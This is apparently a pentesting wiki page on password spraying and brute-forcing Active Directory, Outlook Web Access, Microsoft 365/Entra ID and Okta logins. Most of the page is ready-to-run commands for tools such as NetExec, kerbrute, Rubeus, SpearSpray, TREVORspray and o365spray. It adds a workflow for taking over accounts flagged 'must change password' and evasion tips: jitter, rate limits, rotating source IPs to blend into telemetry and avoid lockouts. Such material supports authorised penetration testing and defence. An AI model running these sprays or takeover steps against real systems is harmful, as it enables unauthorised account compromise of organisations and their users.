# Password Spraying / Brute Force {{#include ../../banners/hacktricks-training.md}} ## **Password Spraying** Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\ By **default** the **minimum** **password** **length** is **7**. Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10). ### Get password policy If you have some user credentials or a shell as a domain user you can **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # From Windows net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` ### Exploitation from Linux (or all) - Using **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` - Using **NetExec (CME successor)** for targeted, low-noise spraying across SMB/WinRM: ```bash # Optional: generate a hosts entry to ensure Kerberos FQDN resolution netexec smb --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts # Spray a single candidate password against harvested users over SMB netexec smb -u users.txt -p 'Password123!' \ --continue-on-success --no-bruteforce --shares # Validate a hit over WinRM (or use SMB exec methods) netexec winrm -u -p 'Password123!' -x "whoami" # Tip: sync your clock before Kerberos-based auth to avoid skew issues sudo ntpdate ``` - Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` - [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_^{[[3]](#references)} ```bash spray.sh -smb ``` - Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK^{[[2]](#references)} ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` - With the `scanner/smb/smb_login` module of **Metasploit**: ![Password Spraying - Brute-Force: With the scanner/smb/smb login module of Metasploit](<../../images/image (745).png>) - Using **rpcclient**:^{[[6]](#references)} ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` #### From Windows - With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` - With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):^{[[4]](#references)} ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` ### Identify and Take Over "Password must change at next logon" Accounts (SAMR) A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.^{[[9]](#references)[[10]](#references)} Workflow: - Enumerate users (RID brute via SAMR) to build the target list: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md {{#endref}} ```bash # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` - Spray an empty password and keep going on hits to capture accounts that must change at next logon: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` - For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" # Validate and retrieve domain password policy with the new creds netexec smb -u -p "$NEWPASS" --pass-pol ``` Operational notes: - Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate `. - A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) Kerberos pre-auth–based spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.^{[[1]](#references)} Key ideas: - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. - Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. - Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). - Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. - Throughput control with threads, jitter, and max requests per second. - Optional Neo4j integration to mark owned users for BloodHound. Basic usage and discovery: ```bash # List available pattern variables spearspray -l # Basic run (LDAP bind over TCP/389) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` Targeting and pattern control: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ -q "(&(objectCategory=person)(objectClass=user)(department=IT))" # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` Stealth and safety controls: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 # Leave N attempts in reserve before lockout (default threshold: 2) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 ``` Neo4j/BloodHound enrichment: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` Pattern system overview (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} {month_en}{separator}{short_year}{suffix} {season_en}{separator}{year}{suffix} {samaccountname} {extra}{separator}{year}{suffix} ``` Available variables include: - {name}, {samaccountname} - Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} - Composition helpers and org token: {separator}, {suffix}, {extra} Operational notes: - Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. - badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. - Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. > Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access There are multiples tools for p**assword spraying outlook**. - With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - With [Ruler](https://github.com/sensepost/ruler) (reliable!)^{[[5]](#references)} - With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) To use any of these tools, you need a user list and a password / a small list of passwords to spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 ``` ## Microsoft 365 / Entra ID For cloud spraying, first identify whether the tenant is **managed**, **federated**, or **hybrid**, because the endpoint and the lockout behavior can differ from on-prem AD. In Microsoft Entra, **Smart Lockout** changes how repeated guesses consume the lockout budget:^{[[7]](#references)} - Repeating the **same bad password** doesn't keep incrementing the lockout counter, but trying **new candidates** does. - **Familiar** and **unfamiliar** locations have **separate** counters. - Tenants using **pass-through authentication (PTA)** don't benefit from the bad-password hash tracking, so treat them more like classic lockout-sensitive targets. In practice, spray **one password per round**, keep enough spacing between rounds, and prefer tooling that can discover the tenant's actual auth flow before sending guesses. - With [**TREVORspray**](https://github.com/blacklanternsecurity/TREVORspray), you can recon the tenant, discover the `token_endpoint`, spray `msol`/`adfs`/`owa`/`okta`, and rotate traffic through multiple egress IPs: ```bash # Enumerate tenant info, autodiscover, and the token endpoint trevorspray --recon corp.com # Spray against the discovered token endpoint with delay/jitter trevorspray -u users.txt -p 'Winter2025!' \ --url https://login.windows.net//oauth2/token \ --delay 5 --jitter 3 --lockout-delay 60 # Round-robin between multiple SSH egress points trevorspray -u users.txt -p 'Winter2025!' \ --url https://login.windows.net//oauth2/token \ --ssh root@1.2.3.4 root@4.3.2.1 --delay 5 ``` - With [**Spray365**](https://github.com/MarkoH17/Spray365), you can pre-build a resumable **execution plan**, randomize auth order, and enforce a **minimum delay per user** to stay outside the lockout window: ```bash # Generate a plan with shuffled auth order and a per-user minimum delay python3 spray365.py generate normal -ep plan.s365 -d corp.com \ -u users.txt -pf passwords.txt --delay 30 -mD 1800 \ -S -rUA # Execute the plan and abort after observing several lockouts python3 spray365.py spray -ep plan.s365 -l 5 ``` - With [**o365spray**](https://github.com/0xZDH/o365spray), you can validate the tenant, enumerate users with modules such as `onedrive`, and spray via `oauth2` or `adfs` while keeping **one attempt per user** per lockout window. If you already have a FireProx API, pass it with `--proxy-url` to distribute the source IPs: ```bash o365spray --validate --domain corp.com o365spray --enum -U users.txt --domain corp.com --enum-module onedrive o365spray --spray -U valid.txt -P passwords.txt --count 1 --lockout 15 --domain corp.com ``` Recent operator tradecraft has also moved toward **distributed cloud spraying**. [**TeamFiltration**](https://github.com/Flangvik/TeamFiltration) supports time windows, password shuffling, ADFS/M365 spraying, and automatic post-auth exfiltration. Recent real-world abuse also used **Microsoft Teams API** account enumeration and **AWS region rotation** to spread spray waves across multiple source geographies.^{[[8]](#references)} ## Google - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) ## Okta - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) ## References - [1] [SpearSpray – Enhance Your Active Directory Password Spraying with User Intelligence](https://github.com/sikumy/spearspray) - [2] [TarlogicSecurity/kerbrute – Kerberos bruteforcing with Impacket (Python)](https://github.com/TarlogicSecurity/kerbrute) - [3] [Spray – A Password Spraying tool for Active Directory Credentials](https://github.com/Greenwolf/Spray) - [4] [Active Directory Password Spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [5] [Password Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [6] [Password Spraying & Other Fun with RPCCLIENT](https://www.blackhillsinfosec.com/?p=5296) - [7] [Microsoft Entra smart lockout](https://learn.microsoft.com/en-us/entra/identity/authentication/howto-password-smart-lockout) - [8] [Proofpoint: Attackers Unleash TeamFiltration: Account Takeover Campaign](https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign) - [9] [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) - [10] [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}}